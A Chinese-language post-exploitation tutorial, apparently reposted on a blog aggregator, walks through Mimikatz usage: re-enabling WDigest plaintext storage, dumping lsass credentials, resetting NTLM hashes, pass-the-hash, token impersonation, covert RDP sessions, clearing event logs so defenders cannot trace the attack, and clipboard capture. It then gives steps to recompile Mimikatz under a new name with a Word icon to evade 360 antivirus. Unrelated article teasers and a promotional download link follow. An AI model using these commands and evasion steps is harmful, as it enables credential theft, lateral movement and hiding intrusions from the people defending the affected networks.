内网渗透之某后渗透利用【网络安全】

0x01 工具介绍

工具原理

Mimikatz 的主要原理是在 Windows 系统中用户登录后系统会将身份凭证存储于lsass.exe进程的内存当中,Mimikatz 通过注入lsass.exe进程读取进程内存,从中获取对应的明文密码。

常见问题

在 Windows Vista 系统之后不再存储 LM HASH,而 Windows 8.1 系统之后内存中也不再存储明文密码,因此在高版本 Windows 系统中无法利用 Mimikatz 直接读取明文密码。Mimikatz 能获取明文密码的关键是 wdigest,这是一个可逆算法,相关注册表存储位置如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"(DWORD)

后续高版本的 Windows 系统不能读取明文是因为关闭了该注册表键,如果想要重新获取明文,只需要开启该注册表后再输入密码重新登录即可。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

给小伙伴整理了相对应的学习资料,如果你需要的话,我也可以分享一部分出来(涉密部分分享不了),需要的可以

👉 【一帮助安全学习一】👈点击领取256G网络安全自学资料

0x02 基础使用

常见用法

Mimikatz 的启动需要管理员/SYSTEM权限运行,默认情况下拥有 32 位以及 64 位版本,在 Kali Linux 中默认存放位置为/usr/share/mimikatz,大多数人使用 Mimikatz 一般只用到两个命令,而对其他命令不太了解,接下来会为大家全面介绍 Mimikatz 这款神器。

privilege::debug
sekurlsa::logonpasswords

也可以使用一句话输出保存

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"> pssword.txt

基本语法

使用命令可查看全部功能模块

::

image.png

调试进程修改运行权限为SYSTEM

privilege::debug
privilege:: #查看 privilege 的运行模块

image.png

开启日志记录,保存读取的用户凭证信息

standard::log

image.png

0x03 常用模块

Crypto模块

加密模块主要用于导出可导出的证书,利用 CryptoAPI 函数访问证书,相当于简化版的 certutil。有时候一张合法的证书非常有用,当利用合法证书生成木马程序时可能被杀软认做白名单程序从而不进行查杀。相关参数如下:

/provider #指定提供者
/providertype #指定提供类型
/cngprovider #CNG提供者
/export #导出密钥 PVK 文件

查看相关密钥的提供者

crypto::providers

image.png

查看当前系统存储信息

crypto::stores

image.png

常见的系统存储用户名包括:

  • CURRENT_USER

  • USER_GROUP_POLICY

  • LOCAL_MACHINE

  • LOCAL_MACHINE_GROUP

  • LOCAL_MACHINE_ENTERPRISE

  • CURRENT_SERVICE

  • USERS

  • SERVICES

指定系统存储为local_machine进行查看

crypto::stores /systemstore:local_machine

image.png

查看用户当前证书

crypto::certificates

image.png

导出 ROOT 根证书

crypto::certificates /store:Root

image.png

导出证书必须配合 store 参数。其中公钥为DER,私钥为PFX,密码为 mimikatz

crypto::certificates /store:Root /export

image.png

使用 CryptoAPI 打补丁,有时候证书无法导出可能就是补丁没有打

crypto::capi

image.png

使用 CNG 打补丁,用于导出未标记可导出的证书

crypto::cng

image.png

列出智能读卡器,可能会出现报错

crypto::sc

image.png

查看相关密钥

crypto::key

image.png

使用 OpenSSL 生成证书

openssl rsa -inform pvk -in key.pvk -outform pem -out key.pem

Sekurlsa模块

Sekurlsa 模块能从lsass.exe进程中提取 passwords、keys、pin、tickets 等用户凭据信息,是最常用到模块。查看所有身份认证信息,成功拿到用户明文密码

sekurlsa::logonpasswords

image.png

查看用户哈希可能会出现报错,这主要是由于当前权限较低

lsadump::sam

image.png

解决方法非常简单,只要以系统权限运行即可

process::runp

在新窗口中再次运行可成功拿到哈希
image.png

重置用户 NTLM 哈希会把哈希直接写入 SAM 数据库当中,因此执行该操作相当于重置密码,再次登录需要使用新密码进行登录

lsadump::setntlm /user:admin /ntlm:b2781ba85ac750ec286744b009599637

image.png

转储并导出lsass.exe进程

sekurlsa::minidump lsass.tmp

通过哈希传递进行横向移动

sekurlsa::pth /user:admin /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637
sekurlsa::pth /user:admin /domain:host1 /aes256:b2781ba85ac750ec286744b009599637

凭证管理器中可查看 Windows 凭证
image.png

Token模块

Token 模块主要用于查看、假冒现有 token。查看当前 token 信息

token::whoami

image.png

查看 token 列表并假冒系统管理员

token::list
token::elevate /NT AUTHORITY\SYSTEM

image.png

还原假冒进程

token::revert

image.png

其他模块

一般情况下重复登录远程桌面会导致已登录用户会直接退出或提示有其他用户登录
image.png

配合命令无提示登录远程桌面,该功能在 HW 中非常好用,即使管理员处于登录状态,我们仍能悄悄登录其他用户

ts::multirdp

image.png

成功登录原会话不受影响,使用命令查看会话列表

ts::sessions

image.png

虽然目前不会被已登录用户发现,但在事件查看器当中仍会存在登录日志
image.png

使用命令一键清除日志

event::clear

image.png

成功清除日志后蓝队工程师无法通过系统日志来还原攻击过程
image.png

安装/卸载 Mimikatz 服务,帮助我们监听用户输入

service::+
service::-

image.png

成功安装 Mimikatz 服务且已自动启动
image.png

比如监听粘贴文本

misc::clip

image.png

0x04 免杀利用

Mimikatz 作为最常用的黑客工具早已被各大安全软件标记,比如360杀毒、360安全卫士、卡巴斯基等。使用源码免杀能帮助我们绕过杀毒软件的查杀,这是一种基于特征码的免杀方式,只需定位到源码中的特征代码进行修改就可达到免杀效果,一般会定位三个位置,分别是代码、字符串和输入表。

准备环境

在免杀前需要准备以下三个要素:

  • Mimikatz 源码

  • Visual Stdio 2019(C++)

  • vc依赖文件

在 Github 中下载最新版的 Mimikatz

下载地址:https://github.com/gentilkiwi/mimikatz

image.png

更新 360 杀毒、病毒库为最新版本
image.png

配置问题

点击 Mimikatz 中的启动文件启动 Visual Stdio,在帮助菜单》关于〉查看许可证状态中输入激活证书可成功激活。而在 VS 2012 中如果出现报错信息(error MSB8020),解决方法为进入项目》属性〉常规》平台工作集中,将平台改为 VS 2012(v110)后即可成功运行编译。
image.png

选择生成出现报错界面,点击工具》获取工具和功能〉C++ 进行桌面开发》C++ Windows XP Support for VS 2017 v141,点击修改即可解决问题
image.png

下载安装完成后修改手工工具集为 2017 版本
image.png

在配置属性中的 C++ 中修改将警告视为错误改为否,否则每当出现错误就无法编译
image.png

重新生成又出现报错:MSB8036
image.png

在项目属性页选择已安装的 SDK 版本
image.png

点击重新生成后成功编译 32 位 Mimikatz
image.png

如果需要生成 64 位程序可在解决方案》配置属性选择平台为x64
image.png

点击重新生成成功编译 64 位 Mimikatz
image.png

免杀过程

步入正题选择项目 mimikatz 的编辑》查找和替换》在文件中替换
image.png

把关键字 mimikatz 所有的字符串替换为 macsec,点击全部替换即可
image.png

由于字符串全部被替换,导致引入 mimikatz 的文件名也被替换,因此需修改全部文件名为 macsec
image.png

点击重新生成后输出macsec.exe
image.png

虽然目前能够进行静态查杀,但是还是无法绕过动态查杀
image.png

image.png

进一步删除macsec.cmacsec.h的注释信息
image.png

再次重新生成程序使用360测试仍无法绕过动态查杀
image.png

macsec.rc中修改版本信息,把带有 gentilkiwi 的公司名修改为 macsec
image.png

修改图标macsec.ico为 Office Word 图标后再次点击生成
image.png

放入免杀环境再次运行即可成功绕过
image.png

当然命令也能够成功执行
image.png

完成免杀后可上传至云平台查杀测试,但一般不要这么做,云平台会标记免杀程序

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/3963.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

0203优先级下的调度问题_环_拓扑排序-有向图-数据结构和算法(Java)

1 概述 在和有向图相关的实际应用中,有向环特别的重要。在实际应用中,一般只会重点关注其中的一小部分,或者只想知道它们是否存在。 2 调度问题 一种应用广泛的模型是给定一组任务并安排它们的执行顺序,限制条件是这些任务的执…

机器学习:逻辑回归模型算法原理(附案例实战)

机器学习:逻辑回归模型算法原理 作者:i阿极 作者简介:Python领域新星作者、多项比赛获奖者:博主个人首页 😊😊😊如果觉得文章不错或能帮助到你学习,可以点赞👍收藏&#…

Github学生包申请秒过经验并使用Copilot

写在前面 前提是在校学生,且有学校邮箱,当然你也得有Github账户前往学信网下载 教育部学籍在线验证报告将报告转换成英文版本,我用的是手机夸克自带的拍照翻译功能 具体流程 设置Github个人信息 来到 https://github.com/settings/profil…

如何用Postman做接口自动化测试?没有比这个更详细的了

目录 前言 什么是自动化测试 自动化测试有哪些分类 为什么需要自动化测试 Postman自动化测试演示 1.新建集合 2.新建接口 3.填写自动化测试脚本 4.录入所有接口 5.执行自动化测试 前言 什么是自动化测试 把人对软件的测试行为转化为由机器执行测试行为的一种实践。 …

腾讯Coding平台学习笔记二:自定义团队插件的使用方法

目录一、前言二、系统环境三、工作目标四、流水线设置五、开发工具5.1 教程地址5.2 开发工具程序结构5.3 qciplugin.yml文件5.4 main.py文件六、插件的安装6.1 打包成zip6.2 上传zip包6.3 构建新插件6.4 质量门禁7、流水线设置7.1 添加质量管理阶段节点7.2 添加其它动作八、流水…

cookie和session的原理以及在Servlet中的应用

文章目录简介cookiecookie的实质及实现原理cookie在Servlet的应用sessionsession的实质及实现原理session在Servlet中的应用HttpServletRequest,Session,ServletContext简介 cookie保存在客户端,session保存在服务器端。二者均用于描述会话的…

【第十一届“泰迪杯”数据挖掘挑战赛】B题产品订单的数据分析与需求预测“解题思路“”以及“代码分享”

【第十一届泰迪杯B题产品订单的数据分析与需求预测产品订单的数据分析与需求预测 】第一大问代码分享(后续更新LSTMinformer多元预测多变量模型) PS: 代码全写有注释,通俗易懂,包看懂!!!&…

RK3568平台开发系列讲解(驱动基础篇)IO 模型的分类

🚀返回专栏总目录 文章目录 一、阻塞 IO二、非阻塞 IO三、IO 多路复用四、信号驱动五、异步 IO沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将针对IO模型进行分类。 假设有这样一个场景,从磁盘中循环读取 100M 的数据并处理,磁盘读取 100M 需要花费 20 秒的…

Transformer在计算机视觉中的应用-VIT、TNT模型

上期介绍了Transformer的结构、特点和作用等方面的知识,回头看下来这一模型并不难,依旧是传统机器翻译模型中常见的seq2seq网络,里面加入了注意力机制,QKV矩阵的运算使得计算并行。 当然,最大的重点不是矩阵运算&…

【数据结构】树的概念

Halo,这里是Ppeua。平时主要更新C语言,C,数据结构算法......感兴趣就关注我吧!你定不会失望。 🌈个人主页:主页链接 🌈算法专栏:专栏链接 我会一直往里填充内容哒! &…

网络基础认识

目录 一、计算机网络背景 1.1 网络发展 1.2 "协议"由来 二、网络协议初识 2.1 协议分层 2.2 OSI七层模型 2.3 TCP/IP五层模型 三、网络协议栈 四、数据包封装与分用 五、网络传输基本流程 5.1 同局域网的两台主机通信 5.2 跨网络的两台主机通信 六、网络…

MySQL高级第六篇:数据库性能分析与优化

MySQL高级第六篇:数据库性能分析与优化一、数据库服务器优化步骤概述二、慢查询日志:记录执行慢的SQL1. 开启慢查询日志2. 设置long_query_time3. 查看慢查询数与慢查询SQL三、分析查询语句:EXPLAIN1. 概述2.EXPLAIN各列的含义一、数据库服务…

【leetCode189】轮转数组

作者:日出等日落 专栏:leetCode刷题训练 要成功不需要什么特别的才能,只要把你能做的小事做得好就行了。 ——维龙 目录 题目: 第一种方法: 第二种方法: 第三种方法: 今…

UDP、TCP三次握手和四次挥手

-----UDP与TCP----- 相同点 tcp、udp都是工作在传输层进行数据传输(二进制标识文本或者视频或者图片) 不同点 tcp基于连接,保障传输的安全udp基于非连接,保障传输的速度 -----TCP的三次握手----- 过程 为什么不是两次握手&a…

PMP考试备考:你不知道的8个常考概念

PMP考试即将到来,为便于广大考生在考试前查漏补缺,给大家准备了PMP考试中常考的八个重要概念,包括敏感性分析、德尔菲技术等,快来看看吧。 01敏感性分析 敏感性分析有助于确定哪些风险对项目具有最大的潜在影响。它有助于理解项…

UWB芯片DW3000之双边双向测距法

目录 双边双向测距 使用四个信息 使用三个信息 双边双向测距 使用四个信息 双边双向测距(DS-TWR)是基本的单边双向测距的扩展,其中使用两次往返时间测量并结合给出飞行时间结果,即使在相当长的响应延迟情况下也能减少误差。 带有四个信息的双面双向…

安全多方计算之八:Mix-Match

Mix-Match1. 混合网络基于ElGamal加密方案的混合网络2. PET协议3. Mix-Match协议4. 百万富翁问题的Mix-Match解决方案M.Jakobsson和A.Juels提出了基于Mix-Match的安全多方计算协议构造方法,该类协议包括Mix与Match两个阶段: Mix阶段:通过构造…

详解LinkedHashSet和LinkedHashMap

目录 一.LinkedHashSet和LinkedHashMap 1.基本介绍 2.与HashSet和HashMap的区别 3.LinkedHashSet和LinkedHashMap具体的方法 1.LinkedHashSet 2.LinkedHashMap 二.模拟代码实现LinkedHashMap 三.具体应用 一.LinkedHashSet和LinkedHashMap 1.基本介绍 顾名思义,根据名…

gpt4国内可以使用吗-chatgpt国内使用的软件排行榜

gpt4国内怎么用? 目前 OpenAI 尚未正式发布 GPT-4 模型,因此目前尚无法直接使用它。预计当GPT-4发布时,将通过OpenAI平台提供API以供使用者调用,同时新的API接口可能需要在不同国家/地区进行不同程度的注册或许可等手续。 当Ope…

php 修改服务器文件上传大小限制

输入docker cp mlfnginx:/etc/nginx/conf.d/pl.conf .输入vimpl.conf 修改nginx配置文件移动到图中所示位置client_max_body_size 按键盘”i”对图中的xxM修改成需要的大小,然后按”esc”,在按”:wq”,最后按回车键输入docker cp ./pl.con…